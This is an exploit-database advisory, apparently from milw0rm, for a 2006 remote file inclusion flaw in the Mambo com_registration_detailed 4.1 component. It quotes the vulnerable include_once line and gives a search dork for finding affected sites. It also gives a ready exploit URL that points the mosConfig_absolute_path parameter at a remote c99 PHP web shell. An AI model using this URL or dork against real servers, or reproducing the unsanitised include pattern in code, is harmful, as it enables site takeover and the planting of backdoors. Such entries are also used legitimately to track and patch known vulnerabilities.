Mambo Component com_registration_detailed 4.1 - Remote File Inclusion



EKU-ID: 10384 CVE: OSVDB-36055;CVE-2006-5254 OSVDB-ID:
Author: k1tk4t Published: 2006-09-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


    ########################################################################
    # Mambo com_registration_detailed <= 4.1 Remote File Inclusion
    #
    # Download Source  : http://mamboxchange.com/projects/regdetailed/
    # Dork =  allinur:com_extended_registration
    #
    # Found By: k1tk4t - k1tk4t[d0t]h4ck[4t]gmail[d0t]com
    # Location: Indonesia

    ########################################################################
    file ;
    registration_detailed.inc.php
    ########################################################################
    bugs ;
    [at]line 25

    include_once("$mosConfig_absolute_path/components/com_extended_registration/language/$_REGISTER_DETAILS_LANGUAGE.inc.php");
    #########################################################################
    example exploit ;
    http://victim.xxx/ components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://phpshell/c99.txt?
    ########################################################################
    Thanks;
    str0ke
    milw0rm
    google
     #e-c-h-o (all member echo community)

     #nyubi (all member solpotcrew community)
    --> ghoz, home_edition2001, iFX, and for all (friend's&enemy)

# milw0rm.com [2006-09-16]